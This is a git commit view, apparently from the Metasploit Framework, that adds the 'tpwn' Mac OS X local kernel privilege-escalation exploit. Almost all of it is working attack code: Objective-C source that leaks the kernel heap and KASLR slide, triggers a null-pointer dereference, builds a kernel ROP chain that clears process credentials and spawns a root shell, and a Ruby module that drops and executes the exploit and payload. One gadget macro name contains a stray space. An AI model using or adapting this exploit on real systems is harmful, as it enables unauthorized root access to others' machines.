Land #5860, add tpwn OS X local kernel exploit (https://github.com/kpwn/tpwn)

bug/bundler_fix
Brent Cook 2015-08-17 17:41:04 -05:00
commit 6b94513a37
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
8 changed files with 696 additions and 0 deletions

View File

@ -0,0 +1,3 @@
all:
gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3
strip tpwn

View File

@ -0,0 +1,34 @@
#ifndef pwn_import_h
#define pwn_import_h
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
#include <dlfcn.h>
#include <string.h>
#include <mach/mach_types.h>
#include <mach-o/loader.h>
#include <sys/types.h>
#include <mach-o/nlist.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "lsym.h"
#include "lsym_gadgets.h"
#endif

47
data/exploits/tpwn/lsym.h Normal file
View File

@ -0,0 +1,47 @@
#ifndef __pwn__lsym__
#define __pwn__lsym__
#include <stdio.h>
#include "import.h"
#define JUNK_VALUE 0x1337133713371337
typedef struct kernel_fake_stack {
uint64_t __cnt;
uint64_t __padding[0x4999];
uint64_t __rop_chain[0x5000];
} kernel_fake_stack_t;
#define LSYM_PAYLOAD_VTABLE 1
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
typedef struct lsym_map {
void* map;
const char* path;
size_t sz;
} lsym_map_t;
typedef enum {
LSYM_DO_NOT_REBASE = (1 << 0)
} lsym_gadget_flags;
typedef uint64_t lsym_map_pointer_t;
typedef uint64_t lsym_kern_pointer_t;
typedef uint64_t lsym_slidden_kern_pointer_t;
typedef uint64_t lsym_offset_t;
lsym_kern_pointer_t kext_pointer(const char* identifier);
lsym_map_t *lsym_map_file(const char *path);
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name);
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags);
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping);
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer);
lsym_offset_t lsym_vm_addrperm();
typedef struct kernel_exploit_vector kernel_exploit_vector_t;
#endif /* defined(__pwn__lsym__) */

159
data/exploits/tpwn/lsym.m Normal file
View File

@ -0,0 +1,159 @@
#include "lsym.h"
#import <Foundation/Foundation.h>
#include <IOKit/IOKitLib.h>
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname);
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name);
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
#ifdef FIND_KERNEL_SLIDE
static lsym_offset_t kaslr_slide=0;
static char kaslr_slide_found =0;
#endif
__attribute__((always_inline))
lsym_kern_pointer_t kext_pointer(const char* identifier){
return (lsym_kern_pointer_t)[((NSNumber*)(((__bridge NSDictionary*)OSKextCopyLoadedKextInfo(NULL, NULL))[[NSString stringWithUTF8String:identifier]][@"OSBundleLoadAddress"])) unsignedLongLongValue];
}
__attribute__((always_inline))
lsym_map_t *lsym_map_file(const char *path) {
int fd=open(path, O_RDONLY);
if(fd < 0) return 0;
struct stat sb;
fstat(fd, &sb);
if (sb.st_size < 0x1000) {
return 0;
}
void* map = mmap(NULL, sb.st_size & 0xFFFFFFFF, PROT_READ, MAP_SHARED, fd, 0);
lsym_map_t* ret = (lsym_map_t*)malloc(sizeof(lsym_map_t));
ret->map = map;
ret->path = path;
ret->sz = sb.st_size & 0xFFFFFFFF;
return ret;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_gadget(lsym_map_t *mapping, const char *bytes, const uint32_t size, const lsym_gadget_flags flags) {
lsym_offset_t off=(lsym_offset_t)memmem(mapping->map, mapping->sz, bytes, size);
if (!off) {
puts("[-] Couldn't find a ROP gadget, aborting.");
exit(1);
}
return lsym_slide_pointer(((flags & LSYM_DO_NOT_REBASE) == 0 ? lsym_kernel_base(mapping) : 0)+(off - (lsym_offset_t) mapping->map));
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_kernel_base(lsym_map_t *mapping) {
struct mach_header_64 *mh = mapping->map;
struct segment_command_64 *text = find_segment_64(mh, SEG_TEXT);
return (lsym_kern_pointer_t)text->vmaddr;
}
__attribute__((always_inline))
lsym_kern_pointer_t lsym_find_symbol(lsym_map_t *mapping, const char *name) {
struct mach_header_64 *mh = mapping->map;
struct symtab_command *symtab = NULL;
struct segment_command_64 *linkedit = NULL;
/*
* Check header
*/
if (mh->magic != MH_MAGIC_64) {
return (lsym_kern_pointer_t)NULL;
}
/*
* Find the LINKEDIT and SYMTAB sections
*/
linkedit = find_segment_64(mh, SEG_LINKEDIT);
if (!linkedit) {
return (lsym_kern_pointer_t)NULL;
}
symtab = (struct symtab_command *)find_load_command(mh, LC_SYMTAB);
if (!symtab) {
return (lsym_kern_pointer_t)NULL;
}
void* symtabp = symtab->stroff + 4 + (char*)mh;
void* symtabz = symtab->stroff + (char*)mh;
void* symendp = symtab->stroff + (char*)mh + symtab->strsize - 0xA;
uint32_t idx = 0;
while (symtabp < symendp) {
if(strcmp(symtabp, name) == 0) goto found;
symtabp += strlen((char*)symtabp) + 1;
idx++;
}
printf("[-] symbol %s not resolved.\n", name); exit(0);
return (lsym_kern_pointer_t)NULL;
found:;
struct nlist_64* nlp = (struct nlist_64*) (((uint32_t)(symtab->symoff)) + (char*)mh);
uint64_t strx = ((char*)symtabp - (char*)symtabz);
unsigned int symp = 0;
while(symp <= (symtab->nsyms)) {
uint32_t strix = *((uint32_t*)nlp);
if(strix == strx)
goto found1;
nlp ++; //sizeof(struct nlist_64);
symp++;
}
printf("[-] symbol not found: %s\n", name);
exit(-1);
found1:
//printf("[+] found symbol %s at 0x%016llx\n", name, nlp->n_value);
return (lsym_kern_pointer_t)nlp->n_value;
}
__attribute__((always_inline))
struct segment_command_64 *find_segment_64(struct mach_header_64 *mh, const char *segname)
{
struct load_command *lc;
struct segment_command_64 *s, *fs = NULL;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == LC_SEGMENT_64) {
s = (struct segment_command_64 *)lc;
if (!strcmp(s->segname, segname)) {
fs = s;
break;
}
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return fs;
}
__attribute__((always_inline))
struct section_64 *find_section_64(struct segment_command_64 *seg, const char *name)
{
struct section_64 *sect, *fs = NULL;
uint32_t i = 0;
for (i = 0, sect = (struct section_64 *)((uint64_t)seg + (uint64_t)sizeof(struct segment_command_64));
i < seg->nsects;
i++, sect = (struct section_64 *)((uint64_t)sect + sizeof(struct section_64)))
{
if (!strcmp(sect->sectname, name)) {
fs = sect;
break;
}
}
return fs;
}
__attribute__((always_inline))
struct load_command *find_load_command(struct mach_header_64 *mh, uint32_t cmd)
{
struct load_command *lc, *flc;
lc = (struct load_command *)((uint64_t)mh + sizeof(struct mach_header_64));
while ((uint64_t)lc < (uint64_t)mh + (uint64_t)mh->sizeofcmds) {
if (lc->cmd == cmd) {
flc = (struct load_command *)lc;
break;
}
lc = (struct load_command *)((uint64_t)lc + (uint64_t)lc->cmdsize);
}
return flc;
}

View File

@ -0,0 +1,69 @@
#ifndef ROP_PIVOT_RAX
/* Short verion of lsym_slide_pointer(lsym_find_symbol()) */
#define RESOLVE_SYMBOL(map, name) lsym_slide_pointer(lsym_find_symbol(map, name))
/* ROP gadgets present in 10.10 */
// stack pivot
#define ROP_PIVOT_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 13, 0)
#define ROP_POP_R14_R15_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5e, 0x41, 0x5F, 0x5D, 0xC3}), 6, 0)
#define ROP_R14_TO_RCX_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF1,0xFF,0x10}), 5, 0)
#define ROP_R14_TO_RDI_CALL_pRAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x4C,0x89,0xF7,0xFF,0x10}), 5, 0)
#define ROP_AND_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x21,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_OR_RCX_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x09,0xc8,0x5d,0xC3}), 5 , 0)
#define ROP_RCX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0xBA, 0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 9 , 0)
// advanced register control (experimental) - many of these gadget do not require stack pivoting, but allow for register control and register based flow control (which lets us back up registers that our pivot corrupts).
// how the fuck do these gadgets even exist lmao
#define ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RAX_TO_RSI_POP_RBP_JMP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC6, 0x5D, 0xFF, 0xE1}), 6, 0);
#define ROP_RBX_TO_RSI_CALL_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0xD1}), 5, 0); // This function does movq rbx, rsi; callq *rcx. so *rcx should point to a pop gadget.
#define ROP_RAX_TO_RCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC1, 0x48, 0x89, 0xC8, 0x5D, 0xC3}), 8, 0);
#define ROP_CR4_TO_RAX_WRITE_RAX_TO_pRCX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x20, 0xE0, 0x48, 0x89, 0x01, 0x5D, 0xC3}), 8 , 0)
#define ROP_RAX_TO_CR4_WRITE_ESI_TO_60H_RDI_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x0F, 0x22, 0xE0, 0x89, 0x77, 0x60, 0x5D, 0xC3}), 8 , 0)
#define ROP_PUSH_RBP_8H_RDI_TO_RAX_JMP_0H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x8B, 0x47, 0x08, 0x5D, 0xFF, 0x20}), 0xB , 0)
#define ROP_RAX_TO_RDI_RCX_TO_RSI_CALL_58H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xC7, 0x48, 0x89, 0xCE, 0xFF, 0x50, 0x58}), 9 , 0)
#define ROP_POP_RBX_RBP_JMP_28H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0x5D, 0xFF, 0x60, 0x28}), 5 , 0)
#define ROP_WRITE_RBX_WHAT_R14_WHERE_POP_ _POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x49, 0x89, 0x1E, 0x5B, 0x41, 0x5E, 0x5D, 0xC3}), 8 , 0)
#define ROP_POP_R14_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x41, 0x5E, 0x5D, 0xC3}), 4, 0)
#define ROP_RBX_TO_RSI_CALL_30H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xDE, 0xFF, 0x50, 0x30}), 6, 0)
#define ROP_RDI_TO_RBX_CALL_130H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xFB, 0xFF, 0x90, 0x30, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RBX_CALL_178H_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF3, 0xFF, 0x90, 0x78, 0x01, 0x00, 0x00}), 9, 0)
#define ROP_RSI_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0x89, 0xF0, 0x5d, 0xC3}), 5, 0)
#define ROP_INC_48H_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48, 0xff, 0x40, 0x48, 0x5d, 0xC3}), 6, 0)
// register control
#define ROP_POP_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x58, 0xC3}), 2 , 0)
#define ROP_POP_RCX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x59, 0xC3}), 2 , 0)
#define ROP_POP_RDX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5A, 0xc3}), 2 , 0)
#define ROP_POP_RBX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5B, 0xc3}), 2 , 0)
#define ROP_POP_RSP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0xC3}), 2 , 0)
#define ROP_POP_RSP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5C, 0x5d, 0xC3}), 3 , 0)
#define ROP_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5D, 0xc3}), 2 , 0)
#define ROP_POP_RSI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5E, 0xc3}), 2 , 0)
#define ROP_POP_RDI(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x5F, 0xc3}), 2 , 0)
#define ROP_RSI_TO_RAX(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x55, 0x48, 0x89, 0xE5, 0x48, 0x89, 0xF0, 0x5D, 0xC3}), 9 , 0)
// write gadgets
#define ROP_WRITE_RDX_WHAT_RCX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x11,0x5D,0xC3}), 5 , 0)
#define ROP_WRITE_RAX_WHAT_RDX_WHERE_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x89,0x02,0x5D,0xC3}), 5 , 0)
// read gadget
#define ROP_READ_RAX_TO_RAX_POP_RBP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x48,0x8B,0x00,0x5D,0xC3}), 5 , 0)
// simple nop. 0x90 is added to avoid 0xC3 matching non-executable kernel contents.
#define ROP_NULL_OP(map) lsym_find_gadget(map, (char*)((uint8_t[]){0x90, 0xC3}), 2, 0);
// helpers
#define PUSH_GADGET(stack) stack->__rop_chain[stack->__cnt++]
#define ROP_ARG1(stack, map, value) ROP_POP_RDI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG2(stack, map, value) ROP_POP_RSI(map); PUSH_GADGET(stack) = value;
#define ROP_ARG3(stack, map, value) ROP_POP_RDX(map); PUSH_GADGET(stack) = value;
#define ROP_ARG4(stack, map, value) ROP_POP_RCX(map); PUSH_GADGET(stack) = value;
#define ROP_RAX_TO_ARG1(stack, map) ROP_POP_RCX(map); PUSH_GADGET(stack) = ROP_NULL_OP(map); PUSH_GADGET(stack) = ROP_RAX_TO_RDI_POP_RBP_JMP_RCX(map); PUSH_GADGET(stack) = JUNK_VALUE;
#endif

286
data/exploits/tpwn/main.m Normal file
View File

@ -0,0 +1,286 @@
#include <Foundation/Foundation.h>
static uint64_t kslide=0;
#define ALLOCS 0x100
#import "import.h"
#import "lsym_gadgets.h"
static mach_port_t servicea = 0;
static mach_port_t servicex = 0;
__attribute__((always_inline)) inline
lsym_slidden_kern_pointer_t lsym_slide_pointer(lsym_kern_pointer_t pointer) {
if (!pointer) return pointer;
return (lsym_slidden_kern_pointer_t) pointer + kslide;
}
__attribute__((always_inline)) static inline
uint64_t alloc(uint32_t addr, uint32_t sz) {
vm_deallocate(mach_task_self(), (vm_address_t) addr, sz);
vm_allocate(mach_task_self(), (vm_address_t*)&addr, sz, 0);
while(sz--) *(char*)(addr+sz)=0;
return addr;
}
__attribute__((always_inline)) static inline
uint64_t leak_heap_ptr(io_connect_t* co) {
io_connect_t conn = MACH_PORT_NULL;
if(IOServiceOpen(servicea, mach_task_self(), 0, co) != KERN_SUCCESS) {
puts("failed");
exit(-20);
}
uint64_t scalarO_64=0;
uint32_t outputCount = 1;
IOConnectCallScalarMethod(*co, 2, NULL, 0, &scalarO_64, &outputCount);
if (!scalarO_64) {
puts("failed infoleaking");
exit(-20);
}
scalarO_64 <<= 8;
scalarO_64 |= 0xffffff0000000000;
return scalarO_64;
}
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
mach_msg_trailer_t trailer;
} oolmsg_t;
static uint16_t off_w = 0;
__attribute__((always_inline)) static inline
void or_everywhere(uint64_t add) {
io_connect_t conn = MACH_PORT_NULL;
IOServiceClose(0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
IOServiceOpen(0,0,0,0); // dyld fails when aslr = 0 & NULL page is mapped, so force this symbol into the plt
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0;
if(!off_w) {
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00;
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
char* kp=(char*)0xC00;
while ((uint32_t)kp < 0x1000) {
if (*kp == 0x10) {
break;
}
kp++;
}
if ((uint32_t)kp == 0x1000) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("not vulnerable");
exit(-1);
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)0xC00 - (uint32_t)(kp-0xC00);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
IOServiceClose(conn);
if (*((char*)0xC00)!=0x10) {
vm_deallocate(mach_task_self(), 0, 0x1000);
puts("wrong offset");
exit(-2);
}
off_w = (uint16_t) kp - 0xc00;
}
mp=0;
while ((uint32_t)mp < 0xC00) {
*mp=(uint64_t)(add - off_w);
mp++;
}
IOServiceOpen(servicex, kIOMasterPortDefault, 0, &conn);
vm_deallocate(mach_task_self(), 0, 0x1000);
IOServiceClose(conn);
}
__attribute__((always_inline)) static inline
void send_kern_data(char* vz, size_t svz, mach_port_t* msgp) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
if(!*msgp){
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, msgp);
mach_port_insert_right(mach_task_self(), *msgp, *msgp, MACH_MSG_TYPE_MAKE_SEND);
}
bzero(msg,sizeof(oolmsg_t));
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->header.msgh_remote_port = *msgp;
msg->header.msgh_local_port = MACH_PORT_NULL;
msg->header.msgh_size = sizeof(oolmsg_t);
msg->header.msgh_id = 1;
msg->body.msgh_descriptor_count = 1;
msg->desc.address = (void *)vz;
msg->desc.size = svz;
msg->desc.type = MACH_MSG_OOL_DESCRIPTOR;
mach_msg( (mach_msg_header_t *) msg, MACH_SEND_MSG, sizeof(oolmsg_t), 0, 0, 0, 0 );
free(msg);
}
__attribute__((always_inline)) static inline
char* read_kern_data(mach_port_t port) {
oolmsg_t *msg=calloc(sizeof(oolmsg_t)+0x2000,1);
bzero(msg,sizeof(oolmsg_t)+0x2000);
mach_msg((mach_msg_header_t *)msg, MACH_RCV_MSG, 0, sizeof(oolmsg_t)+0x2000, (port), 0, MACH_PORT_NULL);
return msg->desc.address;
}
int main(int argc, char** argv, char** envp){
if (getuid() == 0) {
execve("/bin/sh",((char* []){"/bin/sh",0}), envp);
exit(0);
}
if((int)main < 0x5000) execve(argv[0],argv,envp);
lsym_map_t* mapping_kernel=lsym_map_file("/mach_kernel");
if (!mapping_kernel || !mapping_kernel->map) {
mapping_kernel=lsym_map_file("/System/Library/Kernels/kernel");
}
lsym_map_t* mapping_audio=lsym_map_file("/System/Library/Extensions/IOAudioFamily.kext/Contents/MacOS/IOAudioFamily");
kslide = kext_pointer("com.apple.iokit.IOAudioFamily") + RESOLVE_SYMBOL(mapping_audio, "__ZTV23IOAudioEngineUserClient") + 0x10;
sync();
kern_return_t err;
io_iterator_t iterator;
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"), &iterator);
servicex = IOIteratorNext(iterator);
IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOAudioEngine"), &iterator);
servicea = IOIteratorNext(iterator);
uint64_t c = 0;
or_everywhere((uint64_t)&c);
if (c != 0x10) {
puts("not vulnerable");
return 2;
}
int ctr=0;
#define DO_TIMES(x) for(ctr=0;ctr<x;ctr++)
struct KernelHeapInfo {
io_connect_t connect;
uint64_t kobject;
mach_port_t port;
} *heap_info = calloc(sizeof(struct KernelHeapInfo),ALLOCS);
char* vz = calloc(1500,1);
again:;
int maxt = 10;
while (maxt--) {
if (heap_info[maxt+2].connect) {
IOServiceClose(heap_info[maxt+2].connect);
heap_info[maxt+2].connect=0;
}
}
maxt = 10;
while (((heap_info[0].kobject = leak_heap_ptr(&(heap_info[0].connect))) & 0xFFF) == 0xC00) { heap_info[0].connect=0; };
while ((heap_info[1].kobject = leak_heap_ptr(&(heap_info[1].connect))) ) {
if (heap_info[1].kobject == 1024+heap_info[0].kobject) {
break;
}
if (maxt == 0) {
goto again;
}
maxt--;
heap_info[maxt+2].connect=heap_info[1].connect;
heap_info[1].connect=0;
};
if (!heap_info[1].connect || !heap_info[0].connect) {
exit(-3);
}
IOServiceClose(heap_info[0].connect); // poke hole
DO_TIMES(ALLOCS) {
send_kern_data(vz, 1024 - 0x58, &(heap_info[ctr].port));
}
or_everywhere(heap_info[0].kobject + 16);
or_everywhere(heap_info[0].kobject + 500);
char found = 0;
DO_TIMES(ALLOCS) {
char* data = read_kern_data(heap_info[ctr].port);
if (!found && memcmp(data,vz,1024 - 0x58)) {
kslide = (*(uint64_t*)((1024-0x58+(char*)data))) - kslide ;
found=1;
}
}
if (!found) {
exit(-3);
}
printf("leaked kaslr slide, @ 0x%016llx\n", kslide);
kernel_fake_stack_t* stack = calloc(1,sizeof(kernel_fake_stack_t));
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x208);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(uint64_t));
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, heap_info[1].kobject+0x220);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, 1)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_current_proc");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_proc_ucred");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_posix_cred_get");
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack, mapping_kernel);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, sizeof(int)*3)
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_bzero");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)getuid())
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)-1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uid_t)0);
PUSH_GADGET(stack) = ROP_ARG2(stack, mapping_kernel, (int)1);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_chgproccnt");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0x210;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IORecursiveLockUnlock");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe0;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN10IOWorkLoop8openGateEv");
PUSH_GADGET(stack) = ROP_POP_RAX(mapping_kernel);
PUSH_GADGET(stack) = heap_info[1].kobject+0xe8;
PUSH_GADGET(stack) = ROP_READ_RAX_TO_RAX_POP_RBP(mapping_kernel);
PUSH_GADGET(stack) = JUNK_VALUE;
PUSH_GADGET(stack) = ROP_RAX_TO_ARG1(stack,mapping_kernel);
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "__ZN13IOEventSource8openGateEv");
PUSH_GADGET(stack) = ROP_ARG1(stack, mapping_kernel, (uint64_t)"Escalating privileges! -qwertyoruiop\n")
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_IOLog");
PUSH_GADGET(stack) = RESOLVE_SYMBOL(mapping_kernel, "_thread_exception_return");
uint64_t* vtable=malloc(0x1000);
vtable[0] = 0;
vtable[1] = 0;
vtable[2] = 0;
vtable[3] = ROP_POP_RAX(mapping_kernel);
vtable[4] = ROP_PIVOT_RAX(mapping_kernel);
vtable[5] = ROP_POP_RAX(mapping_kernel);
vtable[6] = 0;
vtable[7] = ROP_POP_RSP(mapping_kernel);
vtable[8] = (uint64_t)stack->__rop_chain;
or_everywhere(heap_info[1].kobject+0x220); // set online
or_everywhere(heap_info[1].kobject+0x208); // set userbuffer to 0x000000000010 (!= NULL)
alloc(0, 0x1000);
volatile uint64_t* mp = (uint64_t*) 0x10;
mp[0] = (uint64_t)0;
mp[1] = (uint64_t)vtable;
mp[2] = (uint64_t)&mp[1];
uint64_t xn = IOConnectRelease((io_connect_t )heap_info[1].connect); // running code!
vm_deallocate(mach_task_self(), 0, 0x1000);
setuid(0);
if (getuid() == 0) {
system("/bin/sh");
exit(0);
}
puts("didn't get root, but this system is vulnerable. ");
puts("kernel heap may be corrupted");
return 1;
}

BIN
data/exploits/tpwn/tpwn Executable file

Binary file not shown.

View File

@ -0,0 +1,98 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit4 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::OSX::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X "tpwn" Privilege Escalation',
'Description' => %q{
This module exploits a null pointer dereference in XNU to escalate
privileges to root.
Tested on 10.10.4 and 10.10.5.
},
'Author' => [
'qwertyoruiop', # Vulnerability discovery and PoC
'wvu' # Copy/paste monkey
],
'References' => [
['URL', 'https://github.com/kpwn/tpwn']
],
'DisclosureDate' => 'Aug 16 2015',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'SessionTypes' => ['shell'],
'Privileged' => true,
'Targets' => [
['Mac OS X 10.10.4-10.10.5', {}]
],
'DefaultTarget' => 0
))
register_options([
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
])
end
def check
ver?? Exploit::CheckCode::Appears : Exploit::CheckCode::Safe
end
def exploit
print_status("Writing exploit to `#{exploit_file}'")
write_file(exploit_file, binary_exploit)
register_file_for_cleanup(exploit_file)
print_status("Writing payload to `#{payload_file}'")
write_file(payload_file, binary_payload)
register_file_for_cleanup(payload_file)
print_status('Executing exploit...')
cmd_exec(sploit)
print_status('Executing payload...')
cmd_exec(payload_file)
end
def ver?
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
Gem::Version.new('10.10.4'), Gem::Version.new('10.10.5')
)
end
def sploit
"chmod +x #{exploit_file} #{payload_file} && #{exploit_file}"
end
def binary_exploit
File.read(File.join(
Msf::Config.data_directory, 'exploits', 'tpwn', 'tpwn'
))
end
def binary_payload
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
end
def exploit_file
@exploit_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
def payload_file
@payload_file ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
end
end